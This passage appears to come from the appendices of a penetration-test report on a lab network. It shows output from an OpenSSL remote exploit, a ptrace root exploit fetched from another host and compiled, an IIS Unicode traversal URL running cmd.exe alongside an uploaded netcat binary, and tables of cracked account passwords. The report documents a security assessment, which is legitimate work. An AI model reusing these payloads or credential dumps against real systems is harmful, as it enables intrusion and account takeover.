        0x15 - Mandrake Linux 8.2 (apache-1.3.23-4)

Examples: ../practical/exploits/openssl-too-open -a 0x01 -v localhost
          ../practical/exploits/openssl-too-open -p 1234 192.168.0.1 -c 40 -m


#./openssl-too-open -a 0x01 10.0.0.10

: openssl-too-open : OpenSSL remote exploit
  by Solar Eclipse <solareclipse@phreedom.org>

: Opening 30 connections
  Establishing SSL connections

: Using the OpenSSL info leak to retrieve the addresses
```

4.2.6 Shell of the apache user

```
#grep apache /etc/passwd
apache:x:15:10::/home/httpd:/bin/false
```

4.2.7 Version of the Linux kernel

```
#uname -r
2.2.26
```

4.2.8 Out put of finger (showing our presence)

```
       Directory: /root Shell: /bin/bash
       On since Fri Apr 23 11:02 (BST) on tty1 1 hour 31 minutes idle
       Last login Fri Apr 23 11:20 (BST) on pts/0 from 10.0.0.114
       New mail received Wed Apr 21 16:00 2004 (BST)
        Unread since Wed Apr 21 15:56 2004 (BST)
       No Plan.
```

4.2.9 Local exploit of ptrace vulnerabilities in Linux

```
lynx -O ptrace_exploit.c http://10.0.0.114/~besnard/ptrace_exploit.c
gcc -o ptrace_exploit ptrace_exploit.c
./ptrace_exploit
[-]Attaching
[-]Sending shellcode
[-]Getting shell
uid=0(root) gid=0(root) groups=0(root)
```

4.3 Appendix C

4.3.1 Listing of the current working directory

```
http://10.0.0.14\scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir
Directory of c:\inetpub\scripts

05/02/2004 15:32 <DIR> .

05/02/2004 15:32 <DIR> ..

05/02/2004 14:49 <DIR> -e

05/02/2004 14:45 <DIR> -l

05/02/2004 14:45 <DIR> -p

05/02/2004 14:45 <DIR> .exe

05/02/2004 14:49 <DIR> 6666

05/02/2004 14:45 <DIR> 6666-e

05/02/2004 14:45 <DIR> cmd.exe

08/01/2004 02:04 2,560 nc.exe

08/01/2004 02:02 2,560 nc11win32.exe

09/11/1999 21:46 15,248 NSIISLOG.DLL

3 File(s) 20,368 bytes

9 Dir(s) 2,530,743,296 bytes free
```

4.3.2 Host 10.0.0.11

User Account	**Password**
groupb	groupb
administrator	a
user	d
user	passwor
administrator	ncc1701
anderson.c	e
johnson.s	stevej
anderson.c	westlif

4.3.3 Host 10.0.0.12

User Account	**Password**
gash	gash
anderson.c	e
jones.n	passwor
jones.m	l
adams.t	mistert
jones.n	d1
administrator	sword!
johnson.s	stevej
anderson.c	westlif
whiting.r	mssucks
jones.m	iambril

4.3.4 Host 10.0.0.14

User Account	Password
dhiraj	dhiraj
groupb	groupb
ucar	ucar
chadhaburls	chadhab
chadhaburls	urls
jones.m	l
administrator	a
user	d
anderson.c	e
administrator	ncc1701
adams.t	mistert
backup	d1

4.3.5 Host 10.0.0.16

User Account	Password
groupb	groupb
chadhaburls	urls
chadhaburls	chadhab
administrator	ncc1701
administrator	a

4.3.6 Host 10.0.0.18

User Account	Password
administrator	a
groupb	groupb
chadhaburls	chadhab
chadhaburls	urls
jones.n	passwor
administrator	ncc1701
adams.t	mistert
watson.a	leeds

4.3.7 Host 10.0.0.19

User Account	Password
administrator	s
groupb	groupb
chadhaburls	chadhab
chadhaburls	urls
user	d
anderson.c	e
user	passwor
adams.t	mistert

4.3.8 Host 10.0.0.20

User Account	Password
groupb	groupb
chadhaburls	chadhab
chadhaburls	urls
user	whiting.r d
anderson.c	e
jones.n	user
whiting.r	passwor
adams.t	mistert
ucar	ucar
gash	gash
durrani	durrani
dhiraj	dhiraj
jones.m	admin
labadmin	ncc1701
jones.n	d1
test	anton
labadmin	ajlp

Bibliography

[FPING] *fping*, a program to ping hosts in parallel, D. Papp, T. Dzubin. `http://www.fping.com`

[NMAP] *nmap*, a free open source utility for network exploration or security auditing. `http://www.insecure.org/nmap/`

[CA-2001-33] *Multiple vulnerabilities in WU-FTPD*, `http://www.cert.org/advisories/CA-2001-33.html`

[CA-2002-23] *Multiple vulnerabilities in OpenSSL*, `http://www.cert.org/advisories/CA-2002-23.html`

[CAN-2003-0127] *Linux Kernel Privileged Process Hijacking Vulnerability*, `http://www.securityfocus.com/bid/7112`

[BID-3163] *Sendmail Debugger Arbitrary Code Execution Vulnerability*, `http://www.securityfocus.com/bid/3163`

[RHSA-2003-073] *Remote Buffer Overflow in Sendmail*, `http://www.redhat.com/support/errata/RHSA-2003-073.html`

[RHSA-2003-120] *Remote Buffer Overflow in Sendmail*, `http://www.redhat.com/support/errata/RHSA-2003-120.html`

[BID-5122] *Sendmail DNS Map TXT Record Buffer Overflow Vulnerability*, `http://www.securityfocus.com/bid/5122`

[BID-5093] *OpenSSH Challenge-Response Buffer Overflow Vulnerabilities*, `http://www.securityfocus.com/bid/5093`

[BID-4241] *OpenSSH Channel Code Off-By-One Vulnerability*, `http://www.securityfocus.com/bid/4241`

[BID-4560] *OpenSSH Kerberos 4 TGT/AFS Token Buffer Overflow Vulnerability*, `http://www.securityfocus.com/bid/4560`

[BID-8628] *OpenSSH Buffer Mismanagement Vulnerabilities*, http://www.securityfocus.com/bid/8628

[BID-3614] *OpenSSH UseLogin Environment Variable Passing Vulnerability*, http://www.securityfocus.com/bid/3614

[BID-2347] *SSH CRC-32 Compensation Attack Detector Vulnerability*, http://www.securityfocus.com/bid/2347

[JOHN] *John The Ripper, Password Cracker*, http://www.openwall.com/john/

[BID-1806] *Microsoft IIS and PWS Extended Unicode Directory Traversal Vulnerability*, http://www.securityfocus.com/bid/1806

[GFI-LANGUARD] *Network Security Scanner & Port Scanner*, http://www.gfi.com/lannetscan/

[GNOMBA] *Gnomba, GUI Samba Browser*, http://www.gnu.org/directory/gui/other/gnomba.html

[NETCAT] *The GNU Netcat*, http://netcat.sf.net/

[BID-3581] *Wu-Ftpd File Globbing Heap Corruption Vulnerability*, http://www.securityfocus.com/bid/3581

[BID-2550] *Solaris ftpd glob() Expansion LIST Heap Overflow Vulnerability*, http://www.securityfocus.com/bid/2550

[BID-2308] *Sendmail Invalid MAIL/RCPT Vulnerability*, http://www.securityfocus.com/bid/2308

[NACS] *SunOS 2.6 7 8 :Remote Buffer Overflow Vulnerability in Solaris Print Protocol Daemon]*, http://www.nacs.uci.edu/security/archive/msg00262.html

[SecuriTeam] *Solaris TTYPROMPT Security Vulnerability (Telnet)*, http://www.securiteam.com/unixfocus/6R0050K5PC.html

[NESSUS] *A free, powerful, up-to-date and easy to use remote security scanner.*, http://www.nessus.org/intro.html